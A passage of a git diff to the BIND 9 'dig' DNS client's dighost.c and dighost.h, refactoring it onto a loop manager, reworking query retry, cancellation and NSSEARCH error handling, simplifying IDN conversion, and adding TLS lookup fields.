+				sockstr,
+				isc_nm_verify_tls_peer_result_string(handle));
+		} else if (query->lookup->rdtype == dns_rdatatype_ixfr ||
+			   query->lookup->rdtype == dns_rdatatype_axfr)
+		{
+			puts("; Transfer failed.");
+		}
+
+		if (!query->canceled) {
+			cancel_lookup(l);
+		}
+
 		query_detach(&query);
 		lookup_detach(&l);
 		clear_current_lookup();
-		UNLOCK_LOOKUP;
 		return;
-	} else if (eresult != ISC_R_SUCCESS) {
+	}
+
+	if (eresult != ISC_R_SUCCESS) {
 		debug("unsuccessful connection: %s",
 		      isc_result_totext(eresult));
 		isc_sockaddr_format(&query->sockaddr, sockstr, sizeof(sockstr));
-		if (eresult != ISC_R_CANCELED) {
-			dighost_warning("Connection to %s(%s) for %s failed: "
-					"%s.",
-					sockstr, query->servname, l->textname,
-					isc_result_totext(eresult));
+		dighost_warning("Connection to %s(%s) for %s failed: %s.",
+				sockstr, query->servname, l->textname,
+				isc_result_totext(eresult));
+
+		/*
+		 * NSSEARCH mode: if the current query failed to start properly,
+		 * then send_done() will not be called, and we want to make sure
+		 * that the next query gets a chance to start in order to not
+		 * break the chain.
+		 */
+		if (l->ns_search_only && !l->trace_root) {
+			nssearch_next(l, query);
+			check_if_done();
+			return;
 		}
 
 		/* XXX Clean up exitcodes */
@@ -3255,9 +3578,9 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 		}
 
 		if (l->retries > 1) {
+			l->retries--;
 			debug("making new TCP request, %d tries left",
 			      l->retries);
-			l->retries--;
 			requeue_lookup(l, true);
 			next = NULL;
 		} else if ((l->current_query != NULL) &&
@@ -3269,16 +3592,18 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 		}
 
 		query_detach(&query);
+		if (next == NULL) {
+			cancel_lookup(l);
+		}
 		lookup_detach(&l);
 
 		if (next != NULL) {
 			start_tcp(next);
+			check_if_done();
 		} else {
 			clear_current_lookup();
 		}
 
-		check_if_done();
-		UNLOCK_LOOKUP;
 		return;
 	}
 
@@ -3297,7 +3622,6 @@ tcp_connected(isc_nmhandle_t *handle, isc_result_t eresult, void *arg) {
 	launch_next_query(query);
 	query_detach(&query);
 	lookup_detach(&l);
-	UNLOCK_LOOKUP;
 }
 
 /*%
@@ -3359,13 +3683,15 @@ check_for_more_data(dig_lookup_t *lookup, dig_query_t *query,
 				 * it's an SOA
 				 */
 				if ((!query->first_soa_rcvd) &&
-				    (rdata.type != dns_rdatatype_soa)) {
+				    (rdata.type != dns_rdatatype_soa))
+				{
 					puts("; Transfer failed.  "
 					     "Didn't start with SOA answer.");
 					return (true);
 				}
 				if ((!query->second_rr_rcvd) &&
-				    (rdata.type != dns_rdatatype_soa)) {
+				    (rdata.type != dns_rdatatype_soa))
+				{
 					query->second_rr_rcvd = true;
 					query->second_rr_serial = 0;
 					debug("got the second rr as nonsoa");
@@ -3571,78 +3897,172 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	debug("recv_done(%p, %s, %p, %p)", handle, isc_result_totext(eresult),
 	      region, arg);
 
-	LOCK_LOOKUP;
-
 	isc_refcount_decrement0(&recvcount);
 	debug("recvcount=%" PRIuFAST32, isc_refcount_current(&recvcount));
 
-	if (eresult == ISC_R_CANCELED) {
+	lookup_attach(query->lookup, &l);
+
+	if (eresult == ISC_R_CANCELED || eresult == ISC_R_SHUTTINGDOWN ||
+	    query->canceled)
+	{
 		debug("recv_done: cancel");
 		isc_nmhandle_detach(&query->readhandle);
+		if (!query->canceled) {
+			cancel_lookup(l);
+		}
 		query_detach(&query);
+		lookup_detach(&l);
+		clear_current_lookup();
 		return;
 	}
 
-	lookup_attach(query->lookup, &l);
-
 	if (query->lookup->use_usec) {
-		TIME_NOW_HIRES(&query->time_recv);
+		query->time_recv = isc_time_now_hires();
 	} else {
-		TIME_NOW(&query->time_recv);
+		query->time_recv = isc_time_now();
 	}
 
-	if (eresult == ISC_R_TIMEDOUT && !l->tcp_mode && l->retries > 1) {
-		dig_query_t *newq = NULL;
+	if ((!l->pending && !l->ns_search_only) || cancel_now) {
+		debug("no longer pending.  Got %s", isc_result_totext(eresult));
 
-		l->retries--;
-		debug("resending UDP request to first server, %d tries left",
-		      l->retries);
-		newq = new_query(l, query->servname, query->userarg);
+		goto next_lookup;
+	}
 
-		ISC_LIST_PREPEND(l->q, newq, link);
+	/*
+	 * NSSEARCH mode is special, because the queries in the followup lookup
+	 * are independent and they are being started in parallel, so if one of
+	 * them fails there is no need to start the next query in the lookup,
+	 * and this failure can be treated as a soft error (with a warning
+	 * message), because there are usually more than one NS servers in the
+	 * lookup's queries list. However, if there was not a single successful
+	 * query in the followup lookup, then print an error message and exit
+	 * with a non-zero exit code.
+	 */
+	if (l->ns_search_only && !l->trace_root) {
+		if (eresult == ISC_R_SUCCESS) {
+			l->ns_search_success = true;
+		} else {
+			char sockstr[ISC_SOCKADDR_FORMATSIZE];
+			isc_sockaddr_format(&query->sockaddr, sockstr,
+					    sizeof(sockstr));
 
-		start_udp(ISC_LIST_HEAD(l->q));
-		goto detach_query;
-	}
+			dighost_warning("communications error to %s: %s",
+					sockstr, isc_result_totext(eresult));
 
-	if ((!l->pending && !l->ns_search_only) || atomic_load(&cancel_now)) {
-		debug("no longer pending.  Got %s", isc_result_totext(eresult));
+			/*
+			 * If this is not the last query, then we detach the
+			 * query, but keep the lookup running.
+			 */
+			if (!check_if_queries_done(l, query)) {
+				goto detach_query;
+			}
 
-		goto next_lookup;
+			/*
+			 * This is the last query, and if there was not a
+			 * single successful query in the whole lookup, then
+			 * treat the situation as an error.
+			 */
+			if (!l->ns_search_success) {
+				dighost_error(
+					"NS servers could not be reached");
+				if (exitcode < 9) {
+					exitcode = 9;
+				}
+			}
+
+			goto cancel_lookup;
+		}
 	}
 
 	if (eresult != ISC_R_SUCCESS) {
 		char sockstr[ISC_SOCKADDR_FORMATSIZE];
+
 		isc_sockaddr_format(&query->sockaddr, sockstr, sizeof(sockstr));
+		dighost_warning("communications error to %s: %s", sockstr,
+				isc_result_totext(eresult));
 
-		if (eresult == ISC_R_TIMEDOUT) {
-			if (l->retries > 1) {
-				debug("making new TCP request, %d tries left",
-				      l->retries);
+		if (l->retries > 1 && !l->tcp_mode) {
+			dig_query_t *newq = NULL;
+
+			/*
+			 * For UDP, insert a copy of the current query just
+			 * after itself in the list, and start it to retry the
+			 * request.
+			 */
+			newq = new_query(l, query->servname, query->userarg);
+			ISC_LIST_INSERTAFTER(l->q, query, newq, link);
+			if (l->current_query == query) {
+				query_detach(&l->current_query);
+			}
+			if (l->current_query == NULL) {
 				l->retries--;
-				requeue_lookup(l, true);
-			} else {
-				printf("%s", l->cmdline);
-				dighost_error("connection timed out; "
-					      "no servers could be reached\n");
-				if (exitcode < 9) {
-					exitcode = 9;
-				}
+				debug("making new UDP request, %d tries left",
+				      l->retries);
+				start_udp(newq);
+			}
+			if (check_if_queries_done(l, query)) {
+				goto cancel_lookup;
+			}
+
+			goto detach_query;
+		} else if (l->retries > 1 && l->tcp_mode) {
+			/*
+			 * For TCP, we have to requeue the whole lookup, see
+			 * the comments above the start_tcp() function.
+			 */
+			l->retries--;
+			debug("making new TCP request, %d tries left",
+			      l->retries);
+			requeue_lookup(l, true);
+
+			if (keep != NULL) {
+				isc_nmhandle_detach(&keep);
 			}
+
+			goto cancel_lookup;
 		} else {
-			dighost_error("communications error to %s: %s\n",
-				      sockstr, isc_result_totext(eresult));
-		}
+			dig_query_t *next = ISC_LIST_NEXT(query, link);
 
-		if (keep != NULL) {
-			isc_nmhandle_detach(&keep);
-		}
+			/*
+			 * No retries left, go to the next query, if there is
+			 * one.
+			 */
+			if (next != NULL) {
+				if (l->current_query == query) {
+					query_detach(&l->current_query);
+				}
+				if (l->current_query == NULL) {
+					debug("starting next query %p", next);
+					if (l->tcp_mode) {
+						start_tcp(next);
+					} else {
+						start_udp(next);
+					}
+				}
+				if (check_if_queries_done(l, query)) {
+					goto cancel_lookup;
+				}
 
-		if (eresult == ISC_R_EOF) {
-			requeue_or_update_exitcode(l);
-		}
+				goto detach_query;
+			}
 
-		goto cancel_lookup;
+			/*
+			 * Otherwise, print the cmdline and an error message,
+			 * and cancel the lookup.
+			 */
+			printf("%s", l->cmdline);
+			dighost_error("no servers could be reached\n");
+
+			if (exitcode < 9) {
+				exitcode = 9;
+			}
+
+			if (keep != NULL) {
+				isc_nmhandle_detach(&keep);
+			}
+
+			goto cancel_lookup;
+		}
 	}
 
 	isc_buffer_init(&b, region->base, region->length);
@@ -3713,8 +4133,7 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 							  &l->querysig);
 			check_result(result, "dns_message_getquerytsig");
 		}
-		result = dns_message_setquerytsig(msg, l->querysig);
-		check_result(result, "dns_message_setquerytsig");
+		dns_message_setquerytsig(msg, l->querysig);
 		result = dns_message_settsigkey(msg, tsigkey);
 		check_result(result, "dns_message_settsigkey");
 		msg->tsigctx = l->tsigctx;
@@ -3840,7 +4259,8 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	}
 
 	if ((msg->flags & DNS_MESSAGEFLAG_TC) != 0 && !l->ignore &&
-	    !l->tcp_mode) {
+	    !l->tcp_mode)
+	{
 		if (l->cookie == NULL && l->sendcookie && msg->opt != NULL) {
 			process_opt(l, msg);
 		}
@@ -3858,6 +4278,11 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	{
 		process_opt(l, msg);
 		if (msg->cc_ok) {
+			if (l->showbadcookie) {
+				dighost_printmessage(query, &b, msg, true);
+				dighost_received(isc_buffer_usedlength(&b),
+						 &peer, query);
+			}
 			dighost_comments(l, "BADCOOKIE, retrying%s.",
 					 l->seenbadcookie ? " in TCP mode"
 							  : "");
@@ -3888,15 +4313,6 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 			} else {
 				start_udp(next);
 			}
-		}
-
-		/*
-		 * If our query is at the head of the list and there
-		 * is no next, we're the only one left, so fall
-		 * through to print the message.
-		 */
-		if ((ISC_LIST_HEAD(l->q) != query) ||
-		    (ISC_LIST_NEXT(query, link) != NULL)) {
 			dighost_comments(l,
 					 "Got %s from %s, trying next "
 					 "server",
@@ -3904,7 +4320,11 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 						 ? "SERVFAIL reply"
 						 : "recursion not available",
 					 query->servname);
-			goto next_lookup;
+			if (check_if_queries_done(l, query)) {
+				goto cancel_lookup;
+			}
+
+			goto detach_query;
 		}
 	}
 
@@ -3972,7 +4392,8 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 
 	if (!l->doing_xfr || l->xfr_q == query) {
 		if (msg->rcode == dns_rcode_nxdomain &&
-		    (l->origin != NULL || l->need_search)) {
+		    (l->origin != NULL || l->need_search))
+		{
 			if (!next_origin(l) || showsearch) {
 				dighost_printmessage(query, &b, msg, true);
 				dighost_received(isc_buffer_usedlength(&b),
@@ -4022,7 +4443,12 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 				l->trace_root = false;
 				usesearch = false;
 			} else {
+				/*
+				 * This is a query in the followup lookup
+				 */
 				dighost_printmessage(query, &b, msg, true);
+
+				docancel = check_if_queries_done(l, query);
 			}
 		}
 	}
@@ -4080,7 +4506,6 @@ recv_done(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
 	if (donext) {
 		clear_current_lookup();
 	}
-	UNLOCK_LOOKUP;
 }
 
 /*%
@@ -4092,16 +4517,10 @@ isc_result_t
 get_address(char *host, in_port_t myport, isc_sockaddr_t *sockaddr) {
 	int count;
 	isc_result_t result;
-	bool is_running;
 
-	is_running = isc_app_isrunning();
-	if (is_running) {
-		isc_app_block();
-	}
-	result = bind9_getaddresses(host, myport, sockaddr, 1, &count);
-	if (is_running) {
-		isc_app_unblock();
-	}
+	isc_loopmgr_blocking(loopmgr);
+	result = isc_getaddresses(host, myport, sockaddr, 1, &count);
+	isc_loopmgr_nonblocking(loopmgr);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -4120,11 +4539,11 @@ getaddresses(dig_lookup_t *lookup, const char *host, isc_result_t *resultp) {
 	dig_server_t *srv;
 	char tmp[ISC_NETADDR_FORMATSIZE];
 
-	result = bind9_getaddresses(host, 0, sockaddrs, DIG_MAX_ADDRESSES,
-				    &count);
-	if (resultp != NULL) {
-		*resultp = result;
-	}
+	isc_loopmgr_blocking(loopmgr);
+	result = isc_getaddresses(host, 0, sockaddrs, DIG_MAX_ADDRESSES,
+				  &count);
+	isc_loopmgr_nonblocking(loopmgr);
+	SET_IF_NOT_NULL(resultp, result);
 	if (result != ISC_R_SUCCESS) {
 		if (resultp == NULL) {
 			fatal("couldn't get address for '%s': %s", host,
@@ -4169,13 +4588,17 @@ do_lookup(dig_lookup_t *lookup) {
  * Start everything in action upon task startup.
  */
 void
-onrun_callback(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
+onrun_callback(void *arg) {
+	UNUSED(arg);
+
+	start_lookup();
+}
+
+void
+run_loop(void *arg) {
+	UNUSED(arg);
 
-	isc_event_free(&event);
-	LOCK_LOOKUP;
 	start_lookup();
-	UNLOCK_LOOKUP;
 }
 
 /*%
@@ -4189,18 +4612,21 @@ cancel_all(void) {
 
 	debug("cancel_all()");
 
-	LOCK_LOOKUP;
 	if (free_now) {
-		UNLOCK_LOOKUP;
 		return;
 	}
-	atomic_store(&cancel_now, true);
+
+	cancel_now = true;
+
 	while (current_lookup != NULL) {
 		for (q = ISC_LIST_HEAD(current_lookup->q); q != NULL; q = nq) {
 			nq = ISC_LIST_NEXT(q, link);
 			debug("canceling pending query %p, belonging to %p", q,
 			      current_lookup);
-			if (q->readhandle != NULL) {
+			q->canceled = true;
+			if (q->readhandle != NULL &&
+			    !isc_nm_is_http_handle(q->readhandle))
+			{
 				isc_nm_cancelread(q->readhandle);
 			}
 			query_detach(&q);
@@ -4220,7 +4646,25 @@ cancel_all(void) {
 		lookup_detach(&l);
 		l = n;
 	}
-	UNLOCK_LOOKUP;
+}
+
+void
+cleanup_openssl_refs(void) {
+	if (tsigkey != NULL) {
+		debug("freeing TSIG key %p", tsigkey);
+		dns_tsigkey_detach(&tsigkey);
+	}
+
+	if (sig0key != NULL) {
+		debug("freeing SIG(0) key %p", sig0key);
+		dst_key_free(&sig0key);
+	}
+
+	if (is_dst_up) {
+		debug("destroy DST lib");
+		dst_lib_destroy();
+		is_dst_up = false;
+	}
 }
 
 /*%
@@ -4229,18 +4673,8 @@ cancel_all(void) {
  */
 void
 destroy_libs(void) {
-	if (keep != NULL) {
-		isc_nmhandle_detach(&keep);
-	}
 	debug("destroy_libs()");
-	if (global_task != NULL) {
-		debug("freeing task");
-		isc_task_detach(&global_task);
-	}
-
-	isc_managers_destroy(&netmgr, &taskmgr, NULL, NULL);
 
-	LOCK_LOOKUP;
 	isc_refcount_destroy(&recvcount);
 	isc_refcount_destroy(&sendcount);
 
@@ -4254,26 +4688,13 @@ destroy_libs(void) {
 
 	clear_searchlist();
 
-	if (commctx != NULL) {
-		debug("freeing commctx");
-		isc_mempool_destroy(&commctx);
-	}
-	if (tsigkey != NULL) {
-		debug("freeing key %p", tsigkey);
-		dns_tsigkey_detach(&tsigkey);
-	}
+	cleanup_openssl_refs();
+
 	if (namebuf != NULL) {
+		debug("freeing key %p", tsigkey);
 		isc_buffer_free(&namebuf);
 	}
 
-	if (is_dst_up) {
-		debug("destroy DST lib");
-		dst_lib_destroy();
-		is_dst_up = false;
-	}
-
-	UNLOCK_LOOKUP;
-	isc_mutex_destroy(&lookup_lock);
 	debug("Removing log context");
 	isc_log_destroy(&lctx);
 
@@ -4281,54 +4702,60 @@ destroy_libs(void) {
 	if (memdebugging != 0) {
 		isc_mem_stats(mctx, stderr);
 	}
-	if (mctx != NULL) {
-		isc_mem_destroy(&mctx);
-	}
+
+	isc_managers_destroy(&mctx, &loopmgr, &netmgr);
+
+#if ENABLE_LEAK_DETECTION
+	isc__tls_setdestroycheck(true);
+	isc__uv_setdestroycheck(true);
+	isc__xml_setdestroycheck(true);
+#endif
+
+	isc_mem_checkdestroyed(stderr);
 }
 
 #ifdef HAVE_LIBIDN2
+
 static isc_result_t
-idn_output_filter(isc_buffer_t *buffer, unsigned int used_org) {
-	char src[MXNAME], *dst;
+idn_filter(isc_buffer_t *buffer, unsigned int start) {
+	char src[MXNAME];
+	char *dst = NULL;
 	size_t srclen, dstlen;
+	int res;
 
 	/*
 	 * Copy name from 'buffer' to 'src' and terminate it with NULL.
 	 */
-	srclen = isc_buffer_usedlength(buffer) - used_org;
-	if (srclen >= sizeof(src)) {
-		warn("Input name too long to perform IDN conversion");
-		return (ISC_R_SUCCESS);
-	}
-	memmove(src, (char *)isc_buffer_base(buffer) + used_org, srclen);
+	srclen = isc_buffer_usedlength(buffer) - start;
+	INSIST(srclen < sizeof(src));
+	memmove(src, (char *)isc_buffer_base(buffer) + start, srclen);
 	src[srclen] = '\0';
 
 	/*
-	 * Convert 'src' to the current locale's character encoding.
+	 * Try to convert the name; leave it unchanged if conversion fails.
 	 */
-	idn_ace_to_locale(src, &dst);
+	systemlocale(LC_ALL);
+	res = idn2_to_unicode_8zlz(src, &dst, IDN2_NONTRANSITIONAL);
+	if (res == IDN2_DISALLOWED) {
+		res = idn2_to_unicode_8zlz(src, &dst, IDN2_TRANSITIONAL);
+	}
+	resetlocale(LC_ALL);
+	if (res != IDN2_OK) {
+		return (ISC_R_SUCCESS);
+	}
 
 	/*
-	 * Check whether the converted name will fit back into 'buffer'.
+	 * Copy the converted back into 'buffer' if it fits.
 	 */
 	dstlen = strlen(dst);
-	if (isc_buffer_length(buffer) < used_org + dstlen) {
-		idn2_free(dst);
+	if (isc_buffer_length(buffer) < start + dstlen) {
 		return (ISC_R_NOSPACE);
 	}
-
-	/*
-	 * Put the converted name back into 'buffer'.
-	 */
 	isc_buffer_subtract(buffer, srclen);
 	memmove(isc_buffer_used(buffer), dst, dstlen);
 	isc_buffer_add(buffer, dstlen);
 
-	/*
-	 * Clean up.
-	 */
 	idn2_free(dst);
-
 	return (ISC_R_SUCCESS);
 }
 
@@ -4340,111 +4767,42 @@ idn_output_filter(isc_buffer_t *buffer, unsigned int used_org) {
  * 'dst' MUST be large enough to hold any valid domain name.
  */
 static void
-idn_locale_to_ace(const char *src, char *dst, size_t dstlen) {
-	const char *final_src;
-	char *ascii_src;
+idn_input(const char *src, char *dst, size_t dstlen) {
+	char *ascii = NULL;
+	size_t len;
 	int res;
 
 	/*
 	 * We trust libidn2 to return an error if 'src' is too large to be a
 	 * valid domain name.
-	 */
-	res = idn2_to_ascii_lz(src, &ascii_src, IDN2_NONTRANSITIONAL);
-	if (res != IDN2_OK) {
-		fatal("'%s' is not a legal IDNA2008 name (%s), use +noidnin",
-		      src, idn2_strerror(res));
-	}
-
-	/*
-	 * idn2_to_ascii_lz() normalizes all strings to lower case, but we
-	 * generally don't want to lowercase all input strings; make sure to
-	 * return the original case if the two strings differ only in case.
-	 */
-	final_src = (strcasecmp(src, ascii_src) == 0 ? src : ascii_src);
-
-	(void)strlcpy(dst, final_src, dstlen);
-
-	idn2_free(ascii_src);
-}
-
-/*%
- * Convert 'src', which is an ACE string suitable for use in the DNS, into a
- * string using the current locale's character encoding, storing the conversion
- * result in 'dst'.
- *
- * The caller MUST subsequently release 'dst' using idn2_free().
- */
-static void
-idn_ace_to_locale(const char *src, char **dst) {
-	char *local_src, *utf8_src;
-	int res;
-
-	/*
-	 * We need to:
-	 *
-	 *  1) check whether 'src' is a valid IDNA2008 name,
-	 *  2) if it is, output it in the current locale's character encoding.
-	 *
-	 * Unlike idn2_to_ascii_*(), idn2_to_unicode_*() functions are unable
-	 * to perform IDNA2008 validity checks.  Thus, we need to decode any
-	 * Punycode in 'src', check if the resulting name is a valid IDNA2008
-	 * name, and only once we ensure it is, output that name in the current
-	 * locale's character encoding.
 	 *
-	 * We could just use idn2_to_unicode_8zlz() + idn2_to_ascii_lz(), but
-	 * then we would not be able to universally tell invalid names and
-	 * character encoding errors apart (if the current locale uses ASCII
-	 * for character encoding, the former function would fail even for a
-	 * valid IDNA2008 name, as long as it contained any non-ASCII
-	 * character).  Thus, we need to take a longer route.
-	 *
-	 * First, convert 'src' to UTF-8, ignoring the current locale.
-	 */
-	res = idn2_to_unicode_8z8z(src, &utf8_src, 0);
-	if (res != IDN2_OK) {
-		fatal("Bad ACE string '%s' (%s), use +noidnout", src,
-		      idn2_strerror(res));
-	}
-
-	/*
-	 * Then, check whether decoded 'src' is a valid IDNA2008 name.
+	 * If conversion fails under IDNA2008 rules, retry with transitional
+	 * rules. The aim is that characters whose interpretation changed will
+	 * be handled under the new rules, but we will accept characters (such
+	 * as emoji) that were OK but are now forbidden.
 	 */
-	res = idn2_to_ascii_8z(utf8_src, NULL, IDN2_NONTRANSITIONAL);
-	if (res != IDN2_OK) {
-		fatal("'%s' is not a legal IDNA2008 name (%s), use +noidnout",
-		      src, idn2_strerror(res));
+	systemlocale(LC_ALL);
+	res = idn2_to_ascii_lz(src, &ascii, IDN2_NONTRANSITIONAL);
+	if (res == IDN2_DISALLOWED) {
+		res = idn2_to_ascii_lz(src, &ascii, IDN2_TRANSITIONAL);
 	}
+	resetlocale(LC_ALL);
 
 	/*
-	 * Finally, try converting the decoded 'src' into the current locale's
-	 * character encoding.
+	 * idn2_to_ascii_lz() normalizes all strings to lower case, but
+	 * we generally don't want to lowercase all input strings; make
+	 * sure to return the original case if the two strings differ
+	 * only in case.
 	 */
-	res = idn2_to_unicode_8zlz(utf8_src, &local_src, 0);
-	if (res != IDN2_OK) {
-		static bool warned = false;
-
-		res = idn2_to_ascii_8z(utf8_src, &local_src, 0);
-		if (res != IDN2_OK) {
-			fatal("Cannot represent '%s' "
-			      "in the current locale nor ascii (%s), "
-			      "use +noidnout or a different locale",
-			      src, idn2_strerror(res));
-		} else if (!warned) {
-			fprintf(stderr,
-				";; Warning: cannot represent '%s' "
-				"in the current locale",
-				local_src);
-			warned = true;
-		}
+	if (res == IDN2_OK && strcasecmp(src, ascii) != 0) {
+		len = strlcpy(dst, ascii, dstlen);
+	} else {
+		len = strlcpy(dst, src, dstlen);
 	}
-
-	/*
-	 * Free the interim conversion result.
-	 */
-	idn2_free(utf8_src);
-
-	*dst = local_src;
+	INSIST(len < dstlen);
+	idn2_free(ascii);
 }
+
 #endif /* HAVE_LIBIDN2 */
 
 void
@@ -4452,7 +4810,7 @@ dig_idnsetup(dig_lookup_t *lookup, bool active) {
 #ifdef HAVE_LIBIDN2
 	isc_result_t result;
 	result = dns_name_settotextfilter(
-		(active && lookup->idnout) ? idn_output_filter : NULL);
+		(active && lookup->idnout) ? idn_filter : NULL);
 	check_result(result, "dns_name_settotextfilter");
 #else
 	UNUSED(lookup);
@@ -4460,3 +4818,12 @@ dig_idnsetup(dig_lookup_t *lookup, bool active) {
 	return;
 #endif /* HAVE_LIBIDN2 */
 }
+
+bool
+dig_lookup_is_tls(const dig_lookup_t *lookup) {
+	if (lookup->tls_mode || (lookup->tls_ca_set && !lookup->https_mode)) {
+		return (true);
+	}
+
+	return (false);
+}
diff --git a/bin/dig/dighost.h b/bin/dig/dighost.h
index 8da437625b..af4379ce4c 100644
--- a/bin/dig/dighost.h
+++ b/bin/dig/dighost.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DIG_H
-#define DIG_H
+#pragma once
 
 /*! \file */
 
@@ -22,13 +23,13 @@
 #include <isc/formatcheck.h>
 #include <isc/lang.h>
 #include <isc/list.h>
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
 #include <isc/sockaddr.h>
-#include <isc/socket.h>
+#include <isc/time.h>
 
 #include <dns/rdatalist.h>
 
@@ -76,7 +77,6 @@
 #define DEFAULT_EDNS_VERSION 0
 #define DEFAULT_EDNS_BUFSIZE 1232
 
-#define DEFAULT_HTTPS_PATH  "/dns-query"
 #define DEFAULT_HTTPS_QUERY "?dns="
 
 /*%
@@ -105,24 +105,25 @@ typedef struct dig_searchlist dig_searchlist_t;
 struct dig_lookup {
 	unsigned int magic;
 	isc_refcount_t references;
-	bool aaonly, adflag, badcookie, besteffort, cdflag, comments,
+	bool aaonly, adflag, badcookie, besteffort, cdflag, cleared, comments,
 		dns64prefix, dnssec, doing_xfr, done_as_is, ednsneg, expandaaaa,
-		expire, header_only, identify, /*%< Append an "on server <foo>"
-						  message */
-		identify_previous_line,	       /*% Prepend a "Nameserver <foo>:"
-						  message, with newline and tab */
-		idnin, idnout, ignore, mapped, multiline, need_search,
-		new_search, noclass, nocrypto, nottl,
-		ns_search_only,	 /*%< dig +nssearch, host -C */
-		nsid,		 /*% Name Server ID (RFC 5001) */
-		onesoa, pending, /*%< Pending a successful answer */
+		expire, fuzzing, header_only, identify, /*%< Append an "on
+							   server <foo>" message
+							 */
+		identify_previous_line, /*% Prepend a "Nameserver <foo>:"
+					   message, with newline and tab */
+		idnin, idnout, ignore, multiline, need_search, new_search,
+		noclass, nocrypto, nottl, ns_search_only, /*%< dig +nssearch,
+							     host -C */
+		ns_search_success, nsid, /*% Name Server ID (RFC 5001) */
+		onesoa, pending,	 /*%< Pending a successful answer */
 		print_unknown_format, qr, raflag, recurse, section_additional,
 		section_answer, section_authority, section_question,
 		seenbadcookie, sendcookie, servfail_stops,
 		setqid, /*% use a speciied query ID */
-		stats, tcflag, tcp_keepalive, tcp_mode, tcp_mode_set,
-		tls_mode,   /*% connect using TLS */
-		trace,	    /*% dig +trace */
+		showbadcookie, stats, tcflag, tcp_keepalive, tcp_mode,
+		tcp_mode_set, tls_mode, /*% connect using TLS */
+		trace,			/*% dig +trace */
 		trace_root, /*% initial query for either +trace or +nssearch */
 		ttlunits, use_usec, waiting_connect, zflag;
 	char textname[MXNAME]; /*% Name we're going to be looking up */
@@ -165,11 +166,9 @@ struct dig_lookup {
 	char *cookie;
 	dns_ednsopt_t *ednsopts;
 	unsigned int ednsoptscnt;
-	isc_dscp_t dscp;
 	unsigned int ednsflags;
 	dns_opcode_t opcode;
 	int rrcomments;
-	unsigned int eoferr;
 	uint16_t qid;
 	struct {
 		bool http_plain;
@@ -177,17 +176,30 @@ struct dig_lookup {
 		bool https_get;
 		char *https_path;
 	};
+	struct {
+		bool tls_ca_set;
+		char *tls_ca_file;
+		bool tls_hostname_set;
+		char *tls_hostname;
+		bool tls_cert_file_set;
+		char *tls_cert_file;
+		bool tls_key_file_set;
+		char *tls_key_file;
+		isc_tlsctx_cache_t *tls_ctx_cache;
+	};
+	isc_stdtime_t fuzztime;
 };
 
 /*% The dig_query structure */
 struct dig_query {
 	unsigned int magic;
 	dig_lookup_t *lookup;
-	bool first_pass;
+	bool started;
 	bool first_soa_rcvd;
 	bool second_rr_rcvd;
 	bool first_repeat_rcvd;
 	bool warn_id;
+	bool canceled;
 	uint32_t first_rr_serial;
 	uint32_t second_rr_serial;
 	uint32_t msg_count;
@@ -208,7 +220,6 @@ struct dig_query {
 	isc_time_t time_recv;
 	uint64_t byte_count;
 	isc_timer_t *timer;
-	isc_tlsctx_t *tlsctx;
 };
 
 struct dig_server {
@@ -248,12 +259,12 @@ extern isc_sockaddr_t localaddr;
 extern char keynametext[MXNAME];
 extern char keyfile[MXNAME];
 extern char keysecret[MXNAME];
-extern const dns_name_t *hmacname;
+extern dst_algorithm_t hmac;
 extern unsigned int digestbits;
 extern dns_tsigkey_t *tsigkey;
 extern bool validated;
-extern isc_taskmgr_t *taskmgr;
-extern isc_task_t *global_task;
+extern isc_loopmgr_t *loopmgr;
+extern isc_loop_t *mainloop;
 extern bool free_now;
 extern bool debugging, debugtiming, memdebugging;
 extern bool keep_open;
@@ -275,15 +286,18 @@ getaddresses(dig_lookup_t *lookup, const char *host, isc_result_t *resultp);
 isc_result_t
 get_reverse(char *reverse, size_t len, char *value, bool strict);
 
-ISC_NORETURN void
+noreturn void
 fatal(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
 void
 warn(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
-ISC_NORETURN void
+noreturn void
 digexit(void);
 
+void
+cleanup_openssl_refs(void);
+
 void
 debug(const char *format, ...) ISC_FORMAT_PRINTF(1, 2);
 
@@ -303,7 +317,10 @@ void
 start_lookup(void);
 
 void
-onrun_callback(isc_task_t *task, isc_event_t *event);
+onrun_callback(void *arg);
+
+void
+run_loop(void *arg);
 
 int
 dhmain(int argc, char **argv);
@@ -324,7 +341,7 @@ isc_result_t
 parse_netprefix(isc_sockaddr_t **sap, const char *value);
 
 void
-parse_hmac(const char *hmacstr);
+parse_hmac(const char *algname);
 
 dig_lookup_t *
 requeue_lookup(dig_lookup_t *lookold, bool servers);
@@ -428,12 +445,6 @@ dig_query_setup(bool, bool, int argc, char **argv);
 void
 dig_startup(void);
 
-/*%
- * Initiates the next lookup cycle
- */
-void
-dig_query_start(void);
-
 /*%
  * Activate/deactivate IDN filtering of output.
  */
@@ -446,6 +457,7 @@ dig_idnsetup(dig_lookup_t *lookup, bool active);
 void
 dig_shutdown(void);
 
-ISC_LANG_ENDDECLS
+bool
+dig_lookup_is_tls(const dig_lookup_t *lookup);
 
